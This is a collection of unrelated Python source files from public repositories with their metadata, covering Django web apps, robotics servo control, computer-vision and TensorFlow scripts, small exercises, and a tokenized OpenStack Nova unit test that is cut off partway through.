81d31c9934b76d6898a5079f6ec4cb26f706c1ed

refs/heads/master

2023-01-27T11:31:25.061380

2020-12-02T19:19:07

318,818,921

0

MIT

2020-12-05T15:14:36

null

UTF-8

Python

false

510

py

import http.server import os class GetHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain; charset=utf-8") self.end_headers() self.wfile.write("python/http.server".encode("utf-8")) if __name__ == "__main__": port = int(os.getenv("PORT", 5000)) server = http.server.HTTPServer(("0.0.0.0", port), GetHandler) print("Listening on port {0}".format(port)) server.serve_forever()

[ "email@josediazgonzalez.com" ]

email@josediazgonzalez.com

e0a422afafd0c518668c019f26bccbc9e6a9bb01

6572f29c4472f1bd131dfb0fba441cb5b641ec83

/django/mysite_personal_models/blog/urls.py

6bdac35817b4968ca9cf7207271375c46c4feef1

[]

no_license

kan-abhulimen/jango-training

1ccbe04c9f2f481d4482e9fdfd50b1a5b43cc7ae

734087392cd9635f00596a7955882f4849883930

refs/heads/master

2020-03-07T18:37:44.332426

2018-01-27T16:11:29

null

0

null

UTF-8

Python

false

545

py

from django.conf.urls import url, include from django.views.generic import ListView, DetailView from blog.models import Post urlpatterns = [ url(r'^$', ListView.as_view( queryset=Post.objects.all().order_by("-date")[:25], template_name="blog/blog.html")), url(r'^(?P<pk>\d+)$', DetailView.as_view( model = Post, template_name="blog/post.html")), ]

[ "mail_arunn@yahoo.com" ]

mail_arunn@yahoo.com

c442740a0bcbc288556a64daa57037c8a3f469ab

d0326c87cda35a4c80d1bb137894a33ca3f1bcc9

/jetracer/nvidia_racecar.py

ec1631454f4df2f3fb9181022e6a30c9bf3caab6

[ "MIT" ]

permissive

tokk-nv/jetracer

5a36fcf809348b609331d369d71cca20010c954a

e83f11522f75d5f89486442ce2e36624e20970a7

refs/heads/master

2023-07-03T21:58:25.670731

2021-08-09T23:33:58

321,274,145

1

0

MIT

2021-06-01T20:47:28

2020-12-14T07:59:07

Jupyter Notebook

UTF-8

Python

false

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py

from .racecar import Racecar import traitlets from adafruit_servokit import ServoKit class NvidiaRacecar(Racecar): i2c_address = traitlets.Integer(default_value=0x40) steering_gain = traitlets.Float(default_value=-0.65) steering_offset = traitlets.Float(default_value=0) steering_channel = traitlets.Integer(default_value=0) throttle_gain = traitlets.Float(default_value=0.8) throttle_channel = traitlets.Integer(default_value=1) def __init__(self, *args, **kwargs): super(NvidiaRacecar, self).__init__(*args, **kwargs) self.kit = ServoKit(channels=16, address=self.i2c_address) self.steering_motor = self.kit.continuous_servo[self.steering_channel] self.throttle_motor = self.kit.continuous_servo[self.throttle_channel] @traitlets.observe('steering') def _on_steering(self, change): self.steering_motor.throttle = change['new'] * self.steering_gain + self.steering_offset @traitlets.observe('throttle') def _on_throttle(self, change): self.throttle_motor.throttle = change['new'] * self.throttle_gain

[ "jwelsh@nvidia.com" ]

jwelsh@nvidia.com

50330e7bea315b129dabe997e0dca018f5f5629c

f2042aebec30039aaff5c0279f4c9a67e4f79709

/config/settings/production.py

19047261293b339500d314e16f023c54eec5f457

[]

no_license

MarcyNash/django_website

c6f2f01a22755396d52b2452d025cc16bd986e03

dab5f5bc8c069d38624b2db71635733f4ef61363

refs/heads/master

2022-11-22T08:15:01.185312

2020-07-30T17:42:30

null

0

null

UTF-8

Python

false

8,282

py

from .base import * # noqa from .base import env # GENERAL # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#secret-key SECRET_KEY = env("DJANGO_SECRET_KEY") # https://docs.djangoproject.com/en/dev/ref/settings/#allowed-hosts ALLOWED_HOSTS = env.list("DJANGO_ALLOWED_HOSTS", default=["pythonforthelab.com"]) # DATABASES # ------------------------------------------------------------------------------ DATABASES["default"] = env.db("DATABASE_URL") # noqa F405 DATABASES["default"]["ATOMIC_REQUESTS"] = True # noqa F405 DATABASES["default"]["CONN_MAX_AGE"] = env.int("CONN_MAX_AGE", default=60) # noqa F405 # CACHES # ------------------------------------------------------------------------------ CACHES = { "default": { "BACKEND": "django_redis.cache.RedisCache", "LOCATION": env("REDIS_URL"), "OPTIONS": { "CLIENT_CLASS": "django_redis.client.DefaultClient", # Mimicing memcache behavior. # http://niwinz.github.io/django-redis/latest/#_memcached_exceptions_behavior "IGNORE_EXCEPTIONS": True, }, } } # SECURITY # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#secure-proxy-ssl-header SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https") # https://docs.djangoproject.com/en/dev/ref/settings/#secure-ssl-redirect SECURE_SSL_REDIRECT = env.bool("DJANGO_SECURE_SSL_REDIRECT", default=True) # https://docs.djangoproject.com/en/dev/ref/settings/#session-cookie-secure SESSION_COOKIE_SECURE = True # https://docs.djangoproject.com/en/dev/ref/settings/#csrf-cookie-secure CSRF_COOKIE_SECURE = True # https://docs.djangoproject.com/en/dev/topics/security/#ssl-https # https://docs.djangoproject.com/en/dev/ref/settings/#secure-hsts-seconds # TODO: set this to 60 seconds first and then to 518400 once you prove the former works SECURE_HSTS_SECONDS = 60 # https://docs.djangoproject.com/en/dev/ref/settings/#secure-hsts-include-subdomains SECURE_HSTS_INCLUDE_SUBDOMAINS = env.bool( "DJANGO_SECURE_HSTS_INCLUDE_SUBDOMAINS", default=True ) # https://docs.djangoproject.com/en/dev/ref/settings/#secure-hsts-preload SECURE_HSTS_PRELOAD = env.bool("DJANGO_SECURE_HSTS_PRELOAD", default=True) # https://docs.djangoproject.com/en/dev/ref/middleware/#x-content-type-options-nosniff SECURE_CONTENT_TYPE_NOSNIFF = env.bool( "DJANGO_SECURE_CONTENT_TYPE_NOSNIFF", default=True ) # STORAGES # ------------------------------------------------------------------------------ # https://django-storages.readthedocs.io/en/latest/#installation INSTALLED_APPS += ["storages"] # noqa F405 # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_ACCESS_KEY_ID = env("DJANGO_AWS_ACCESS_KEY_ID") # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_SECRET_ACCESS_KEY = env("DJANGO_AWS_SECRET_ACCESS_KEY") # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_STORAGE_BUCKET_NAME = env("DJANGO_AWS_STORAGE_BUCKET_NAME") # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_QUERYSTRING_AUTH = False # DO NOT change these unless you know what you're doing. _AWS_EXPIRY = 60 * 60 * 24 * 7 # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_S3_OBJECT_PARAMETERS = { "CacheControl": f"max-age={_AWS_EXPIRY}, s-maxage={_AWS_EXPIRY}, must-revalidate" } # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_DEFAULT_ACL = None # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_S3_REGION_NAME = env("DJANGO_AWS_S3_REGION_NAME", default=None) # STATIC # ------------------------ STATICFILES_STORAGE = "pftl.utils.storages.StaticRootS3Boto3Storage" COLLECTFAST_STRATEGY = "collectfast.strategies.boto3.Boto3Strategy" STATIC_URL = f"https://{AWS_STORAGE_BUCKET_NAME}.s3.amazonaws.com/static/" # MEDIA # ------------------------------------------------------------------------------ DEFAULT_FILE_STORAGE = "pftl.utils.storages.MediaRootS3Boto3Storage" MEDIA_URL = f"https://{AWS_STORAGE_BUCKET_NAME}.s3.amazonaws.com/media/" # TEMPLATES # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#templates TEMPLATES[-1]["OPTIONS"]["loaders"] = [ # type: ignore[index] # noqa F405 ( "django.template.loaders.cached.Loader", [ "django.template.loaders.filesystem.Loader", "django.template.loaders.app_directories.Loader", ], ) ] # EMAIL # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#default-from-email DEFAULT_FROM_EMAIL = env( "DJANGO_DEFAULT_FROM_EMAIL", default="Python for the Lab <noreply@aquicarattino.com>" ) # https://docs.djangoproject.com/en/dev/ref/settings/#server-email SERVER_EMAIL = env("DJANGO_SERVER_EMAIL", default=DEFAULT_FROM_EMAIL) # https://docs.djangoproject.com/en/dev/ref/settings/#email-subject-prefix EMAIL_SUBJECT_PREFIX = env( "DJANGO_EMAIL_SUBJECT_PREFIX", default="[Python for the Lab Website" "]" ) # ADMIN # ------------------------------------------------------------------------------ # Django Admin URL regex. ADMIN_URL = env("DJANGO_ADMIN_URL") # Anymail # ------------------------------------------------------------------------------ # https://anymail.readthedocs.io/en/stable/installation/#installing-anymail INSTALLED_APPS += ["anymail"] # noqa F405 # https://docs.djangoproject.com/en/dev/ref/settings/#email-backend # https://anymail.readthedocs.io/en/stable/installation/#anymail-settings-reference # https://anymail.readthedocs.io/en/stable/esps/mailgun/ EMAIL_BACKEND = "anymail.backends.mailgun.EmailBackend" ANYMAIL = { "MAILGUN_API_KEY": env("MAILGUN_API_KEY"), "MAILGUN_SENDER_DOMAIN": env("MAILGUN_DOMAIN"), "MAILGUN_API_URL": env("MAILGUN_API_URL", default="https://api.mailgun.net/v3"), } # Collectfast # ------------------------------------------------------------------------------ # https://github.com/antonagestam/collectfast#installation INSTALLED_APPS = ["collectfast"] + INSTALLED_APPS # noqa F405 # LOGGING # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#logging # See https://docs.djangoproject.com/en/dev/topics/logging for # more details on how to customize your logging configuration. # A sample logging configuration. The only tangible logging # performed by this configuration is to send an email to # the site admins on every HTTP 500 error when DEBUG=False. LOGGING = { "version": 1, "disable_existing_loggers": False, "filters": {"require_debug_false": {"()": "django.utils.log.RequireDebugFalse"}}, "formatters": { "verbose": { "format": "%(levelname)s %(asctime)s %(module)s " "%(process)d %(thread)d %(message)s" } }, "handlers": { "mail_admins": { "level": "ERROR", "filters": ["require_debug_false"], "class": "django.utils.log.AdminEmailHandler", }, "console": { "level": "DEBUG", "class": "logging.StreamHandler", "formatter": "verbose", }, }, "root": {"level": "INFO", "handlers": ["console"]}, "loggers": { "django.request": { "handlers": ["mail_admins"], "level": "ERROR", "propagate": True, }, "django.security.DisallowedHost": { "level": "ERROR", "handlers": ["console", "mail_admins"], "propagate": True, }, }, } # Your stuff... # ------------------------------------------------------------------------------ BASE_URL = 'https://www.pythonforthelab.com' MANAGERS = ( ('Aquiles Carattino', 'aqui.carattino@gmail.com'), ) FROM_EMAIL = 'aquiles@newsletter.pythonforthelab.com' DEFAULT_FROM_EMAIL = 'aquiles@newsletter.pythonforthelab.com'

[ "aqui.carattino@gmail.com" ]

aqui.carattino@gmail.com

d5abc58eeb91065258b67686a5ddda5d762661d7

0b8b683b9a0ff758c0c5e1d0a19f90751422618a

/@61_.py

c2756d3fe5794b77d43b1d79d7efc356909ce082

[]

no_license

aushine/100_

29712674728eafce9f7bf9a95dd21552c48614be

36dd59aa88bc8eca720b654fd9ad3ce11bf61e5a

refs/heads/master

2020-04-30T23:28:19.836172

2019-03-22T13:27:03

177,144,771

0

null

UTF-8

Python

false

378

py

if __name__ == "__main__": a =[] for each in range(10): a.append([]) for each_ in range(1, each+2): a[each].append(1) for i in range(2, 10): for j in range(1, i): a[i][j] = a[i-1][j-1]+a[i-1][j] b = [] for each in a: b.append(' '.join(map(str, each))) for each in b: print(each.center(26))

[ "161596610@qq.com" ]

161596610@qq.com

fbdc9234549db3a006eb8b446d89f45360fb2362

3113b8fd9a0e74e8716ab1fb7bedc851d83c5183

/fiesta_family/settings.py

968060ca714c315fbd8d6f9e73a9d769f89f5717

[]

no_license

ulank1/fiesta

478ad3866d3df35e502d60ddd703224fcf173ccf

71774598c5180a68c3e0ad75c7325a67ce1a72bc

refs/heads/master

2020-07-27T08:41:26.330154

2016-08-27T12:02:45

66,712,427

0

null

UTF-8

Python

false

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py

""" Django settings for fiesta_family project. Generated by 'django-admin startproject' using Django 1.9.5. For more information on this file, see https://docs.djangoproject.com/en/1.9/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.9/ref/settings/ """ import os import dj_database_url PROJECT_ROOT = os.path.dirname(os.path.abspath(__file__)) # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.9/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '*r^m0k%n@#i!tunwiware&8ujj9kjupfu^v)_cv3c#^t$z7@5g' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'post' ] MIDDLEWARE_CLASSES = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'fiesta_family.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')] , 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'fiesta_family.wsgi.application' # Database # https://docs.djangoproject.com/en/1.9/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/1.9/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/1.9/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True db_from_env = dj_database_url.config(conn_max_age=500) DATABASES['default'].update(db_from_env) # Honor the 'X-Forwarded-Proto' header for request.is_secure() SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') # Allow all host headers ALLOWED_HOSTS = ['*'] # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.8/howto/static-files/ STATIC_ROOT = os.path.join(PROJECT_ROOT, 'staticfiles') STATIC_URL = '/static/' # Extra places for collectstatic to find static files. STATICFILES_DIRS = ( os.path.join(PROJECT_ROOT, 'static'), ) # Simplified static file serving. # https://warehouse.python.org/project/whitenoise/ STATICFILES_STORAGE = 'whitenoise.django.GzipManifestStaticFilesStorage'

[ "ulankarimov@mail.ru" ]

ulankarimov@mail.ru

475728c282b849f2af54a99b7cb1b09018e8ffd4

bb0e580e3fd528ea5212f74eaab797116ff42ab9

/read_gps_speed.py

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[]

no_license

8n8/realbikenav

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refs/heads/master

2023-07-31T02:16:03.832891

2018-06-30T12:02:33

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""" It reads the GPS receiver and prints out its output. """ import serial # type: ignore serial_port = serial.Serial('/dev/ttyACM0') serial_port.baudrate = 115200 while True: reading = serial_port.readline() for line in reading.splitlines(): print(line) if line[5:8] == 'VTG': print(line)

[ "" ]

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/LAB17/aluno.py

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[]

no_license

Marcos-Tonari-Diaz/MC102

8caed787a897e42a4bead1aa46f4d89dd8b028de

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refs/heads/main

2023-03-01T02:29:25.506078

2021-02-02T00:24:50

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class Aluno: def __init__(self, nome, ra, email, usuario, senha): self.nome = nome self.ra = ra self.email = email self.usuario = usuario self.senha = senha

[ "marcos.dure.diaz@gmail.com" ]

marcos.dure.diaz@gmail.com

47955f0cfeb6ad8ef9ded6bffccc8aa706933bee

acb8e84e3b9c987fcab341f799f41d5a5ec4d587

/langs/5/l5d.py

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[]

no_license

G4te-Keep3r/HowdyHackers

46bfad63eafe5ac515da363e1c75fa6f4b9bca32

fb6d391aaecb60ab5c4650d4ae2ddd599fd85db2

refs/heads/master

2020-08-01T12:08:10.782018

2016-11-13T20:45:50

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import sys def printFunction(lineRemaining): if lineRemaining[0] == '"' and lineRemaining[-1] == '"': if len(lineRemaining) > 2: #data to print lineRemaining = lineRemaining[1:-1] print ' '.join(lineRemaining) else: print def main(fileName): with open(fileName) as f: for line in f: data = line.split() if data[0] == 'l5D': printFunction(data[1:]) else: print 'ERROR' return if __name__ == '__main__': main(sys.argv[1])

[ "juliettaylorswift@gmail.com" ]

juliettaylorswift@gmail.com

ec781f7631675e66a19b9c7c2f94e55d983f2331

46549aa548d7c367caf4f03dce97da373f71a299

/src/python/sandbox/checkin_times.py

ef9f62f79a4dc7340dc6d120bbb0e95ffa798193

[]

no_license

rboberg/bodeza

6177b01c13c5b1a5e442f743014555667b98bf85

1b061fe10bb97d8d8f5f49c9ea5d86600fe4c7ae

refs/heads/master

2021-01-10T21:39:45.457763

2014-12-19T06:00:13

null

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py

# -*- coding: utf-8 -*- """ Created on Thu Oct 09 19:33:59 2014 @author: Ross """ import os import json import pandas as pd from ggplot import * repo_dir = 'C:/Users/Ross/Documents/GitHub/bodeza' data_dir = os.path.dirname(repo_dir) + '/bodeza_data' fd = open(data_dir + '/yelp_data/yelp_academic_dataset_checkin.json') data_list = [] for line in fd: line_data = line.strip() if line_data: data_list.append(json.loads(line)) fd.close() checkins = {} for checkin in data_list: for time, n in checkin['checkin_info'].iteritems(): if time in checkins: checkins[time] += 1 else: checkins[time] = 1 freq_dict = [dict(zip(['h','d','n'], ki.split('-')+[vi])) for ki, vi in checkins.iteritems()] freq_df = pd.DataFrame(freq_dict) print ggplot(freq_df, aes(x='h', y='n', colour='d')) + geom_line()

[ "ross.boberg@gmail.com" ]

ross.boberg@gmail.com

e6334f2a64f9a1b31d53af7cad6ac3abe5758f7d

8cce0b5a4be09783016906a36192c52e9daa84aa

/cv_workshops/13-section/7-clazz.py

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[ "MIT" ]

permissive

Castrol68/opencv-practice

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refs/heads/master

2023-08-31T07:18:51.497902

2020-05-03T17:43:12

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#!/usr/bin/env python3 # -*- coding=utf-8 -*- import tensorflow as tf """ TensorFlow - hello world 使用安装的TensorFlow 2.0并导入 """ def main(): # 导入数据集, 数据集下载地址为: http://yann.lecun.com/exdb/mnist/ mnist = tf.keras.datasets.mnist (x_train, y_train), (x_test, y_test) = mnist.load_data() # 将整数数据集转换为浮点数 x_train, x_test = x_train / 255.0, x_test / 255.0 # 搭建Sequential模型，并将数据堆叠起来 model = tf.keras.models.Sequential([ tf.keras.layers.Flatten(input_shape=(28, 28)), tf.keras.layers.Dense(128, activation='relu'), tf.keras.layers.Dropout(0.2), tf.keras.layers.Dense(10, activation='softmax') ]) model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['accuracy']) # 训练 model.fit(x_train, y_train, epochs=5) # 验证 model.evaluate(x_test, y_test) if "__main__" == __name__: main()

[ "afterloe@foxmail.com" ]

afterloe@foxmail.com

6ec621dff6324b2822383c42b374ac54637d859a

dc72e1eb44cfaed330d9477d0c27bee307a81e4a

/Jackpointnew/hand/scripts.py

47913e46358e99f954ce1218749325896b5b7a09

[]

no_license

bussiere/JackPointFInal

ba200d85606e17b423535af20a58c04bf5afa550

c414480fee519e68aece68068e941278fe10cf0a

refs/heads/master

2021-07-24T14:25:56.982106

2013-07-08T11:10:41

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0

null

2021-06-10T17:45:33

2012-08-07T20:29:46

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from django.contrib.auth.models import User from django.contrib.auth import authenticate from django.contrib.auth.decorators import login_required from django.contrib import auth from skill.models import Skill from carac.models import Carac from item.models import Item from carac.forms import CaracFormChoice from skill.forms import SkillForm from item.forms import ItemForm from jack.forms import JackRegisterForm from django.forms.formsets import formset_factory from django.forms.formsets import BaseFormSet from hand.forms import AskForm from hand.models import Question,Answer from jack.models import CaracUser,SkillUser,ItemUser from tag.models import Tag from engine.models import ThreadEngine from engine.script import sendnotification #TODO # A factyoriser enregistrement skills carac items def enregistrementAnswer(request): user = User.objects.get(id=request.user.id) reponse = request.POST['Reponse'] tags = request.POST['Tags'] threadengineid = int(request.POST['ThreadEngineId']) threadengine = ThreadEngine.objects.get(id=threadengineid) questionid = int(request.POST['QuestionId']) tags = tags.split("#") question = Question.objects.get(id=questionid) answer = Answer.objects.create(user=user,Text=reponse) answer.Question.add(question) #TODO # a factoriser for tag in tags : tag = tag.strip() try : result = Tag.objects.get(Name=tag) except : result = Tag.objects.create(Name=tag) result.save() answer.Tags.add(result) answer.save() threadengine.Answer.add(answer) threadengine.save() def enregistrementAsk(request,caracs,skills,items,intitule,description,tags) : question = Question.objects.create() question.save() question.user = User.objects.get(id=request.user.id) question.Text = description question.Intitule = intitule question.save() #TODO #Factoriser et expliquer les tags tags = tags.split('#') # TODO # A factoriser for tag in tags : tag = tag.strip() try : result = Tag.objects.get(Name=tag) except : result = Tag.objects.create(Name=tag) result.save() question.Tags.add(result) question.save() for carac in caracs.keys(): caracdb = Carac.objects.get(Nom=carac) try : result = CaracUser.objects.get(carac=caracdb,Level=int(caracs[carac][0])) except : result = CaracUser.objects.create(Level=0) result.Carac.add(caracdb) result.Level = int(caracs[carac][0]) result.save() question.Caracs.add(result) for skill in skills.keys(): skilldb = Skill.objects.get(Nom=skill) print "nomSki" print skilldb.Nom private = False try : result = SkillUser.objects.get(Skills=skilldb,Level=int(skills[skill][0])) except : result = SkillUser.objects.create(Level=0) result.Skill.add(skilldb) result.Private = private result.Level = int(skills[skill][0]) result.save() question.Skills.add(result) for item in items.keys(): itemdb = Item.objects.get(Nom=item) try : result = ItemUser.objects.get(Item=itemdb) except : result = ItemUser.objects.create() result.Item.add(itemdb) result.Private = private result.save() question.Items.add(result) question.save() threadengine = ThreadEngine.objects.create() threadengine.Question.add(question) threadengine.save() sendnotification(question,threadengine)

[ "bussiere@gmail.com" ]

bussiere@gmail.com

b9f331103a0bf956b0ad3d59e3c5760c3f9345fb

944809cdb595c2338518977317253f5cfa89756e

/scripts/background_subtraction.py

b552e7e8b692a4524d7f35a4a924144c3ca5f158

[]

no_license

adithyamurali/DeepMilestones

874965d7040d4ef54f6a6692274bd7ce8c791178

c031f55595dbfc01d493bce0ccab548bdecb6001

refs/heads/master

2021-01-22T14:01:56.932705

2015-10-02T01:16:35

39,215,948

3

0

null

UTF-8

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import numpy as np import cv2 import argparse import sys import matplotlib.pyplot as plt import IPython import parser import utils import constants def run_video_with_bsub(cap, func, kernel = None, params = None): if params is not None: fgbg = func(params[0], params[1], params[2], params[3]) else: fgbg = func() SAVE_PATH = constants.PATH_TO_DATA + constants.NEW_BGSUB_FOLDER + "Suturing_E003_capture2/" i = 1 while(1): ret, frame = cap.read() print i fgmask = fgbg.apply(frame) mask_rbg = cv2.cvtColor(fgmask, cv2.COLOR_GRAY2BGR) draw = frame & mask_rbg if frame == None and mask_rbg == None: sys.exit() if kernel is not None: fgmask = cv2.morphologyEx(fgmask, cv2.MORPH_OPEN, kernel) # cv2.namedWindow("frame", cv2.WND_PROP_FULLSCREEN) # cv2.setWindowProperty("frame", cv2.WND_PROP_FULLSCREEN, cv2.cv.CV_WINDOW_FULLSCREEN) cv2.imshow('frame', draw) cv2.imwrite(SAVE_PATH + utils.get_frame_fig_name(i), draw) k = cv2.waitKey(30) & 0xff i += 1 if k == 27: break cap.release() cv2.destroyAllWindows() if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("video", help = "A: Suturing: B: Pizza making") parser.add_argument("type", help = "1: MOG 2: MOG2 3: Ken's algorithm") args = parser.parse_args() cap = None if args.video == 'A': cap = cv2.VideoCapture('/home/animesh/DeepMilestones/jigsaws/Suturing_video/frames/Suturing_E003_capture2/cropped_scaled.avi') elif args.video == 'B': cap = cv2.VideoCapture('/home/animesh/C3D/examples/c3d_feature_extraction/input/frm/pizza8/videos/cropped_scaled.avi') else: print "Invalid video type" sys.exit() if (int(args.type) == 1): params = (500, 10, 0.9, 1) run_video_with_bsub(cap, cv2.BackgroundSubtractorMOG, params = None) elif (int(args.type) == 2): run_video_with_bsub(cap, cv2.BackgroundSubtractorMOG2) elif (int(args.type) == 3): kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(3,3)) run_video_with_bsub(cap, cv2.createBackgroundSubtractorGMG, kernel = kernel) else: print "Error Type" sys.exit()

[ "adithya_murali@berkeley.edu" ]

adithya_murali@berkeley.edu

6a069aad4eae164b7a135b62b70c4a3ad36591d9

75d8667735782cd1d0eb4877e52c89da5cd92dde

/nova/tests/unit/virt/vmwareapi/test_configdrive.py

9462d39ae2ad4d8c8a8ebadc31116bba226df242

[ "Apache-2.0" ]

permissive

bopopescu/nova-token

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ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2

refs/heads/master

2022-11-22T09:53:31.073483

2016-05-14T02:47:01

2016-05-15T22:02:55

282,105,621

0

Apache-2.0

2020-07-24T02:42:19

2020-07-24T02:42:18

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begin_unit comment|'# Copyright 2013 IBM Corp.' nl|'\n' comment|'# Copyright 2011 OpenStack Foundation' nl|'\n' comment|'#' nl|'\n' comment|'# Licensed under the Apache License, Version 2.0 (the "License"); you may' nl|'\n' comment|'# not use this file except in compliance with the License. You may obtain' nl|'\n' comment|'# a copy of the License at' nl|'\n' comment|'#' nl|'\n' comment|'# http://www.apache.org/licenses/LICENSE-2.0' nl|'\n' comment|'#' nl|'\n' comment|'# Unless required by applicable law or agreed to in writing, software' nl|'\n' comment|'# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT' nl|'\n' comment|'# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the' nl|'\n' comment|'# License for the specific language governing permissions and limitations' nl|'\n' comment|'# under the License.' nl|'\n' nl|'\n' name|'import' name|'fixtures' newline|'\n' name|'import' name|'mock' newline|'\n' name|'from' name|'mox3' name|'import' name|'mox' newline|'\n' nl|'\n' name|'from' name|'nova' name|'import' name|'context' newline|'\n' name|'from' name|'nova' op|'.' name|'image' name|'import' name|'glance' newline|'\n' name|'from' name|'nova' name|'import' name|'objects' newline|'\n' name|'from' name|'nova' name|'import' name|'test' newline|'\n' name|'from' name|'nova' op|'.' name|'tests' op|'.' name|'unit' name|'import' name|'fake_instance' newline|'\n' name|'import' name|'nova' op|'.' name|'tests' op|'.' name|'unit' op|'.' name|'image' op|'.' name|'fake' newline|'\n' name|'from' name|'nova' op|'.' name|'tests' op|'.' name|'unit' name|'import' name|'utils' newline|'\n' name|'from' name|'nova' op|'.' name|'tests' op|'.' name|'unit' op|'.' name|'virt' op|'.' name|'vmwareapi' name|'import' name|'fake' name|'as' name|'vmwareapi_fake' newline|'\n' name|'from' name|'nova' op|'.' name|'tests' op|'.' name|'unit' op|'.' name|'virt' op|'.' name|'vmwareapi' name|'import' name|'stubs' newline|'\n' name|'from' name|'nova' op|'.' name|'tests' name|'import' name|'uuidsentinel' newline|'\n' name|'from' name|'nova' op|'.' name|'virt' name|'import' name|'fake' newline|'\n' name|'from' name|'nova' op|'.' name|'virt' op|'.' name|'vmwareapi' name|'import' name|'driver' newline|'\n' name|'from' name|'nova' op|'.' name|'virt' op|'.' name|'vmwareapi' name|'import' name|'vm_util' newline|'\n' name|'from' name|'nova' op|'.' name|'virt' op|'.' name|'vmwareapi' name|'import' name|'vmops' newline|'\n' nl|'\n' nl|'\n' DECL|class|ConfigDriveTestCase name|'class' name|'ConfigDriveTestCase' op|'(' name|'test' op|'.' name|'NoDBTestCase' op|')' op|':' newline|'\n' nl|'\n' DECL|variable|REQUIRES_LOCKING indent|' ' name|'REQUIRES_LOCKING' op|'=' name|'True' newline|'\n' nl|'\n' op|'@' name|'mock' op|'.' name|'patch' op|'.' name|'object' op|'(' name|'driver' op|'.' name|'VMwareVCDriver' op|',' string|"'_register_openstack_extension'" op|')' newline|'\n' DECL|member|setUp name|'def' name|'setUp' op|'(' name|'self' op|',' name|'mock_register' op|')' op|':' newline|'\n' indent|' ' name|'super' op|'(' name|'ConfigDriveTestCase' op|',' name|'self' op|')' op|'.' name|'setUp' op|'(' op|')' newline|'\n' name|'vm_util' op|'.' name|'vm_refs_cache_reset' op|'(' op|')' newline|'\n' name|'self' op|'.' name|'context' op|'=' name|'context' op|'.' name|'RequestContext' op|'(' string|"'fake'" op|',' string|"'fake'" op|',' name|'is_admin' op|'=' name|'False' op|')' newline|'\n' name|'self' op|'.' name|'flags' op|'(' name|'cluster_name' op|'=' string|"'test_cluster'" op|',' nl|'\n' name|'host_ip' op|'=' string|"'test_url'" op|',' nl|'\n' name|'host_username' op|'=' string|"'test_username'" op|',' nl|'\n' name|'host_password' op|'=' string|"'test_pass'" op|',' nl|'\n' name|'use_linked_clone' op|'=' name|'False' op|',' name|'group' op|'=' string|"'vmware'" op|')' newline|'\n' name|'self' op|'.' name|'flags' op|'(' name|'enabled' op|'=' name|'False' op|',' name|'group' op|'=' string|"'vnc'" op|')' newline|'\n' name|'vmwareapi_fake' op|'.' name|'reset' op|'(' op|')' newline|'\n' name|'stubs' op|'.' name|'set_stubs' op|'(' name|'self' op|')' newline|'\n' name|'nova' op|'.' name|'tests' op|'.' name|'unit' op|'.' name|'image' op|'.' name|'fake' op|'.' name|'stub_out_image_service' op|'(' name|'self' op|')' newline|'\n' name|'self' op|'.' name|'conn' op|'=' name|'driver' op|'.' name|'VMwareVCDriver' op|'(' name|'fake' op|'.' 